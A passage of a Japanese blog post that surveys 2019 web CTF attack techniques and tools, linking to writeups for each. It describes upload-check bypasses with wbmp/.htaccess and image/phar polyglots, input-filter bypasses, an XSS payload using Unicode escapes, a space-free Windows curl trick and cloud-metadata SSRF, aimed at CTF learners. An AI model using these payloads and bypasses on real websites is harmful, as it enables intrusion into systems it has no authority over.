TokyoWesternsのicchy氏が考案した手法であり、以下の資料が参考になります。
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf
CODE BLUE 2019でもこの手法をテーマに登壇していました。
https://www.youtube.com/watch?v=EgKlBfk9H5s
CTFのWeb問題でWindows ServerやIISといった環境は滅多にないため、 バナー情報からこのような環境を確認できたときは、AV Oracleを使用する問題を疑ってもいいかもしれません。
- writeup
- TokyoWesterns CTF 5th 2019 - PHP Note
https://balsn.tw/ctf_writeup/20190831-tokyowesternsctf/#php-note
- TokyoWesterns CTF 5th 2019 - PHP Note
XS-Search
XSS Auditor機能を悪用する手法です。 昨年末の35C3 CTFのfilemanagerで出題されて以降、何度か出題されましたが、Chrome 78から機能削除されてしまいました。
手法の解説は以下の記事が参考になります。
https://www.mbsd.jp/blog/20160407_2.html
https://speakerdeck.com/lmt_swallow/gimme-a-bit-exploring-attacks-in-the-post-xss-world
- writeup
- TSG CTF - RECON
https://st98.github.io/diary/posts/2019-05-05-tsg-ctf.html#recon-500 - Facebook CTF 2019 - secret note keeper
https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README
- TSG CTF - RECON
typemustmatchを使用したXS-Leaks
typemustmatch
属性を使用したXS-Leaksです。
FireFoxがこの属性をサポートしていましたが、Firefox 68から機能削除されてしまいました。
- writeup
- BackdoorCTF 2019 - notes-app
https://sectt.github.io/writeups/BACKDOORCTF19/notes-app/README
- BackdoorCTF 2019 - notes-app
polyglot
polyglot自体の説明はWikipediaにお任せします。
https://en.wikipedia.org/wiki/Polyglot_(computing)
Wikipediaで説明されているような、1ファイルで異なるプログラミング言語を実装する問題以外に、 画像ファイル形式と目的のファイル形式の、両方で解釈できるファイルを作成する手法も、polyglotと呼んでいます。
今年は、pharファイル形式と画像ファイル形式を組み合わせる問題が多かったです。
Nodejs, python, phpのpolyglot
Nodejsとpythonとphpのpolyglotをする問題です。
RCTF 2019から始まったcalcalcalcシリーズの問題で出題されていました。
- writeup
- RCTF 2019 - calcalcalc
- 0CTF 2019 - 114514Calcalcalc
- De1CTF 2019 - 9calc
https://github.com/zsxsoft/my-ctf-challenges/tree/master/calcalcalc-family
wbmpと.htaccessファイルのpolyglot
.htaccessファイルとWireless Application Protocol Bitmap Format(wbmpファイル)のpolyglotを行い、 アップロード機能に画像ファイルかどうかのチェックがある場合に、 チェックをパスして.htaccessファイルをアップロードする手法です。
wbmpファイルのフォーマットは以下を参照ください。
https://ja.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
wbmpファイルは先頭にNULLバイト(\x00
)を設定可能です。
.htaccessファイルはNULLバイトをコメントアウトの開始文字と見なすため、 ファイルの先頭から、wbmpファイル形式として解釈される必要最低限のデータを残し、改行コードで区切れば、 以降は任意の.htaccessファイルの定義が可能となります。
- writeup
- Insomni'hack teaser 2019 - l33t-hoster
http://corb3nik.github.io/blog/insomnihack-teaser-2019/l33t-hoster
- Insomni'hack teaser 2019 - l33t-hoster
画像ファイルとpharファイルのpolyglot
pharファイルは、ファイルの途中に__HALT_COMPILER()
があれば有効な形式として判断されるようです。
pharファイルの作成にあたり、Stubとしてファイルの先頭に任意のデータがセット可能であるため、
画像ファイルとして解釈されるデータをセットすることで、どちらでも解釈可能なファイルが作成できます。
手法の解説は以下の記事が参考になります。
https://www.nc-lp.com/blog/disguise-phar-packages-as-images
以下のwriteupのとおり、色々な画像ファイル形式が使用されています。
- writeup
- jpg
- nullcon HackIM 2019 - mime checkr
https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves - Midnight Sun CTF 2019 Quals - Rubenscube
https://jbz.team/midnightsunctfquals2019/Rubenscube - Chaos Communication Camp 2019 - PDFCreator
https://medium.com/@craig.knott92/ccc-2019-ctf-pdfcreator-9c76fd60452d
- nullcon HackIM 2019 - mime checkr
- png
- Harekaze CTF 2019 - Avatar Uploader 2
https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-300-avatar-uploader-2
- Harekaze CTF 2019 - Avatar Uploader 2
- gif
- N1CTF 2019 - sql_manage
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/sql_manage/EN_writeup.md
- N1CTF 2019 - sql_manage
- jpg
言語仕様系
プログラミング言語の仕様をよく確認して解く問題の紹介です。 これらの系統の問題は、よく練られており解いていて楽しいですね。
golangのslice
go言語のsliceを使用した実装で起こしやすいバグを利用して攻略する問題です。
sliceを関数の引数に渡した時の挙動は以下の記事が参考になります。
https://christina04.hatenablog.com/entry/2017/09/26/190000
sliceを複数スレッドで使用した際の挙動は以下の記事が参考になります。
https://medium.com/@cep21/gos-append-is-not-always-thread-safe-a3034db7975
- writeup
- CONFidence CTF 2019 Teaser - The Lottery
https://github.com/mwarzynski/confidence2019_teaser_lottery - RoarCTF2019 - Dist
https://blog.szfszf.top/tech/roarctf2019-web-writeup/
- CONFidence CTF 2019 Teaser - The Lottery
RubyのDir.glob関数の仕様
RubyのDir.glob関数の仕様を確認し、 入力チェックにかからずにディレクトリリスティングやファイル読み込みが可能なペイロードを作成して攻略する問題です。
- writeup
- SECCON 2019 Online CTF - fileserver
https://graneed.hatenablog.com/entry/2019/10/20/171619#fileserver
- SECCON 2019 Online CTF - fileserver
文字入力チェックのバイパス
XORで文字を生成
使用できる文字の種類に制限がある場合に、XORを使用して別の文字を生み出す方法です。
- writeup
- ISITDTU CTF 2019 - EasyPHP
https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP
- ISITDTU CTF 2019 - EasyPHP
Unicode表現
JSONでパースする前のデータに対して入力チェックしている場合、Unicode表現(\uXXXX
)でチェックをバイパス可能です。
- writeup
- Harekaze CTF 2019 - Encode & Encode
https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-100-encode--encode
- Harekaze CTF 2019 - Encode & Encode
数値文字参照とES6 Unicode literals表現
この問題は、1文字あたり1回しか使用できない制約がある中でXSSをするという面白い問題です。
この制約をクリアするために、数値文字参照とES6 Unicode literals表現を使用します。
例えば、以下のevalの中の文字列はname
を表しています。
<SVG/ONLoAD=eval(nam\u{65})>
- writeup
- Security Fest 2019 - Entropian
https://medium.com/@renwa/security-fest-2019-ctf-entropian-web-write-up-f81fb11f675b
- Security Fest 2019 - Entropian
CRとLF以外の改行コード
Unicodeには、<CR>
と<LF>
以外にも改行を意味する文字があります。
- writeup
- HITCON CTF 2019 Quals - Bounty Pl33z
https://r3kapig.com/writeup/20191018-hitcon-quals/#bounty-pl33z-%5B255pts%5D
- HITCON CTF 2019 Quals - Bounty Pl33z
コマンドプロンプトで,記号を使用
Windowsのコマンドプロンプトでは、コマンドに,
記号が含まれる場合、以降の文字を2番目のパラメーターとして解釈します。(,
を含む。)
これを利用すると、スペース記号なしでcurlコマンドが実行できます。
なお、,
記号をURLから除外するために、@
記号を使用して,
をBASIC認証のクレデンシャル情報にしています。
D:\>curl,@example.com <!doctype html> <html> <head> <title>Example Domain</title>
- writeup
- Balsn CTF 2019 - Silhouettes
https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/silhouettes
- Balsn CTF 2019 - Silhouettes
Tools
攻撃手法に分類していませんが、writeupで使用されていて有用なツールの紹介です。
JSON Web Token Toolkit
JWTを、デコード、エンコード(署名)するだけであれば、色々なツールや方法がありますが、 このツールは、既知のエクスプロイトのテストや、辞書攻撃など、改ざんのための機能が揃っていて有用です。
https://github.com/ticarpi/jwt_tool
- writeup
- Reply Cyber Security Challenge - FILE ROVER
https://tasteofsecurity.com/security/web-200-file-rover-jwt-ctf-challenge/
- Reply Cyber Security Challenge - FILE ROVER
opensslコマンド等を使用してJWTを手作りするパターンも参考までに。
- RITSEC CTF 2019 - Our First API
https://github.com/m3ssap0/CTF-Writeups/tree/master/RITSEC%20CTF%202019/Our%20First%20API
ascii-zip
出力結果がascii文字の範囲になるようなDeflate圧縮をするツールです。
https://github.com/molnarg/ascii-zip
- writeup
- PlaidCTF 2019 - Potent Quotables
https://blog.pspaul.de/posts/plaidctf-2019-potent-quotables/
- PlaidCTF 2019 - Potent Quotables
Python random module cracker / predictor
pythonのrandom
モジュールの乱数を予測するツールです。
https://github.com/tna0y/Python-random-module-cracker
- writeup
- ångstromCTF 2019 - NaaS
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#naas
- ångstromCTF 2019 - NaaS
maskprocessor
hashcat用のマスクファイルを高速に生成するツールです。
https://hashcat.net/wiki/doku.php?id=maskprocessor
- writeup
- SpamAndFlags Teaser 2019 - Forumz
https://www.pwndiary.com/write-ups/spamandflags-teaser-ctf-2019-forumz-write-up-web252/
- SpamAndFlags Teaser 2019 - Forumz
dvcs-ripper
Webサーバ上に公開されてしまっているバージョン管理システムのリポジトリをダウンロードするツールです。 git用のツールはGitToolsが有名ですが、こちらのツールは他のバージョン管理システムもサポートしています。
https://github.com/kost/dvcs-ripper
Bazaarは、この問題で初めて知りました。
- writeup
- STEM CTF: Cyber Challenge 2019 - My First Blog
https://rawsec.ml/en/stem-ctf-2019-write-ups/#150-my-first-blog-web
- STEM CTF: Cyber Challenge 2019 - My First Blog
サーバ証明書の署名記録の検索サービス
DEF CONの問題であったため、たくさんのwriteupがあり、色々なサービスが使用されていました。
https://transparencyreport.google.com/https/certificates
https://crt.sh/
https://securitytrails.com/
- writeup
- DEF CON CTF Qualifier 2019 - cant_even_unplug_it
https://graneed.hatenablog.com/entry/2019/05/13/090613
- DEF CON CTF Qualifier 2019 - cant_even_unplug_it
CyberChefのMagic
攻略して得られたFLAGと思わしいデータを、インドのEBCDIC(cp1137)を使用してデコードする問題です。
怪しいデータに直面したら、先頭の数バイトでGoogle検索して調べる他にも、 とりあえずCyberChefのMagicをかけてみるのが良いかもしれません。
この問題を例に試してみます。以下のデータが得られたとします。
\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0
Magicをかけてスクロールしてみていくと、Flag文字列が発見できます。
- writeup
- nullcon HackIM 2019 - mime checkr
https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/#mimecheckr4solves
- nullcon HackIM 2019 - mime checkr
ユニークな問題
最後に、ユニークで印象に残った問題を紹介します。
SQLでWebサーバを構築した問題
本来、Webサーバで実施するべき、HTTPリクエストのパースやHTTPレスポンスの生成の処理を含め、全てを巨大なSQLで構築してしまった問題です。
writeupのこの感想が全てです。
No joke, the challenge is one large SQL file. That’s 1730 lines of pure SQL madness.
- writeup
- PlaidCTF 2019 - Triggered
https://cr0wn.uk/2019/plaid-triggered/
- PlaidCTF 2019 - Triggered
AWS S3アップロード機能を使用した問題
AWS S3には、ブラウザからHTTP POSTで直接ファイルをアップロードするインターフェースがあり、その機能を使用した問題です。 アップロードにあたりPolicyおよび署名を改ざんしています。
AWSの機能を使用した問題といえば、SSRFを使用して169.254.169.254のメタデータへアクセスする問題や、 パブリックのS3バケットにアクセスする問題がありましたが、このケースは初でした。 こういったパブリッククラウドのサービスに特化した知識も求められるのは面白いですね。
- writeup
- Midnight Sun CTF 2019 Quals - Cloudb
https://dreadlocked.github.io/2019/04/20/midnisghtsunctf-cloudb/
- Midnight Sun CTF 2019 Quals - Cloudb
夏時間の切り替えタイミングを使用した問題
このイベントの開催期間が、夏時間の切り替えタイミングである10月の最終日曜日にかかっていることで実現できた問題です。 まさにtimewarp。
- writeup
- TastelessCTF 2019 - timewarp
https://github.com/ENOFLAG/writeups/blob/master/tasteless2019/timewarp.md
- TastelessCTF 2019 - timewarp
最後に
この記事では攻撃手法を軸に整理しましたが、高難度になればなるほど手法を覚えているだけでは解けず、
まずはソースコードやサービスの振る舞いから脆弱性を見つけないと解くことができません。
また、高難度の問題は、過去の別イベントで出た手法が使いまわされるケースは少なく、セキュリティ関連の記事、ホワイトペーパー、カンファレンス資料、各プログラミング言語のリファレンス、使用しているOSSのソースコード、Stack Overflowなどの掲示板などを読み漁って手がかりを得ていく必要があります。
とは言え、部分的に手法を使用したり考え方の応用が効くケースもあると思いますので、WebのCTFerのお役に立てば幸いです。
今年もまた実施したこの企画ですが、年末の忙しい時期に始めたこともあり、体力面・精神面でそこそこ負荷がかかりました。 Advent Calendarのスケジュールにも間に合わなかったですし。
来年こそは、少しずつ消化していきたいと今は心に誓うものの、たぶんまた12月頃にまとめてやっているのだろうと思います。
それでは良いお年を。